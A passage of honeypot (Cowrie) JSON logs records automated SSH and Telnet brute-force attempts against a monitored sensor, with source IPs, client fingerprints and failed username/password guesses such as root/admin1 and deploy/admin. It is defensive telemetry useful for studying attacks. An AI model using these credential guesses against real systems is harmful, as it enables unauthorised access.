0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:27:06.397919Z","src_ip":"45.156.87.147","session":"c5d62bb0f768","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.189.235.114","src_port":55124,"dst_ip":"159.203.135.109","dst_port":22,"session":"04eb52716ffe","protocol":"ssh","message":"New connection: 103.189.235.114:55124 (159.203.135.109:22) [session: 04eb52716ffe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:27:06.403598Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:27:06.409230Z","src_ip":"103.189.235.114","session":"04eb52716ffe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:27:06.646909Z","src_ip":"103.189.235.114","session":"04eb52716ffe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"123321","message":"login attempt [www/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:27:06.737353Z","src_ip":"45.156.87.147","session":"c5d62bb0f768","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tjj","password":"tjj123","message":"login attempt [tjj/tjj123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:27:07.586986Z","src_ip":"103.189.235.114","session":"04eb52716ffe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:27:07.820797Z","src_ip":"45.156.87.147","session":"c5d62bb0f768","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":41250,"dst_ip":"159.203.135.109","dst_port":23,"session":"cbed78570372","protocol":"telnet","message":"New connection: 128.199.8.54:41250 (159.203.135.109:23) [session: cbed78570372]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:27:08.509166Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:27:08.829690Z","src_ip":"103.189.235.114","session":"04eb52716ffe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":42628,"dst_ip":"10.17.0.5","dst_port":22,"session":"d29daf40c73c","protocol":"ssh","message":"New connection: 45.156.87.147:42628 (10.17.0.5:22) [session: d29daf40c73c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:27:12.561959Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:27:12.569236Z","src_ip":"45.156.87.147","session":"d29daf40c73c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:27:12.651536Z","src_ip":"45.156.87.147","session":"d29daf40c73c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aaa","password":"chris","message":"login attempt [aaa/chris] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:27:12.900102Z","src_ip":"45.156.87.147","session":"d29daf40c73c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:27:13.989870Z","src_ip":"45.156.87.147","session":"d29daf40c73c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":42656,"dst_ip":"10.17.0.5","dst_port":22,"session":"934f66e8e3ae","protocol":"ssh","message":"New connection: 45.156.87.147:42656 (10.17.0.5:22) [session: 934f66e8e3ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:27:18.482884Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:27:18.487457Z","src_ip":"45.156.87.147","session":"934f66e8e3ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:27:18.630018Z","src_ip":"45.156.87.147","session":"934f66e8e3ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"123","message":"login attempt [testuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:27:18.905316Z","src_ip":"45.156.87.147","session":"934f66e8e3ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":58832,"dst_ip":"159.203.135.109","dst_port":22,"session":"0d84d6a51b10","protocol":"ssh","message":"New connection: 37.233.85.71:58832 (159.203.135.109:22) [session: 0d84d6a51b10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:27:19.288564Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:27:19.292908Z","src_ip":"37.233.85.71","session":"0d84d6a51b10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:27:19.400783Z","src_ip":"37.233.85.71","session":"0d84d6a51b10","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"08121985","message":"login attempt [root/08121985] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:27:19.717979Z","src_ip":"37.233.85.71","session":"0d84d6a51b10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:27:19.990050Z","src_ip":"45.156.87.147","session":"934f66e8e3ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:27:20.824107Z","src_ip":"37.233.85.71","session":"0d84d6a51b10","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":45690,"dst_ip":"10.17.0.5","dst_port":22,"session":"bd24c1f66fb5","protocol":"ssh","message":"New connection: 45.156.87.147:45690 (10.17.0.5:22) [session: bd24c1f66fb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:27:24.805488Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:27:24.809462Z","src_ip":"45.156.87.147","session":"bd24c1f66fb5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:27:24.891406Z","src_ip":"45.156.87.147","session":"bd24c1f66fb5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin1","message":"login attempt [root/admin1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:27:25.143178Z","src_ip":"45.156.87.147","session":"bd24c1f66fb5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:27:26.276757Z","src_ip":"45.156.87.147","session":"bd24c1f66fb5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":52628,"dst_ip":"159.203.135.109","dst_port":23,"session":"59d748b67752","protocol":"telnet","message":"New connection: 128.199.8.54:52628 (159.203.135.109:23) [session: 59d748b67752]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:27:26.454223Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":47462,"dst_ip":"10.17.0.5","dst_port":22,"session":"3df7e5b8d6d1","protocol":"ssh","message":"New connection: 45.156.87.147:47462 (10.17.0.5:22) [session: 3df7e5b8d6d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:27:30.811537Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:27:30.815469Z","src_ip":"45.156.87.147","session":"3df7e5b8d6d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:27:30.898215Z","src_ip":"45.156.87.147","session":"3df7e5b8d6d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pass@123","message":"login attempt [root/Pass@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:27:31.145597Z","src_ip":"45.156.87.147","session":"3df7e5b8d6d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:27:32.231790Z","src_ip":"45.156.87.147","session":"3df7e5b8d6d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":47484,"dst_ip":"10.17.0.5","dst_port":22,"session":"86f00a22cac4","protocol":"ssh","message":"New connection: 45.156.87.147:47484 (10.17.0.5:22) [session: 86f00a22cac4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:27:36.676253Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:27:36.680066Z","src_ip":"45.156.87.147","session":"86f00a22cac4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:27:36.762341Z","src_ip":"45.156.87.147","session":"86f00a22cac4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"86.111.187.163","src_port":56224,"dst_ip":"10.17.0.5","dst_port":22,"session":"204c9e0bda0f","protocol":"ssh","message":"New connection: 86.111.187.163:56224 (10.17.0.5:22) [session: 204c9e0bda0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:27:36.964244Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:27:36.970478Z","src_ip":"86.111.187.163","session":"204c9e0bda0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"admin","message":"login attempt [deploy/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:27:37.011999Z","src_ip":"45.156.87.147","session":"86f00a22cac4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:27:37.043307Z","src_ip":"86.111.187.163","session":"204c9e0bda0f","protocol":"ssh"}
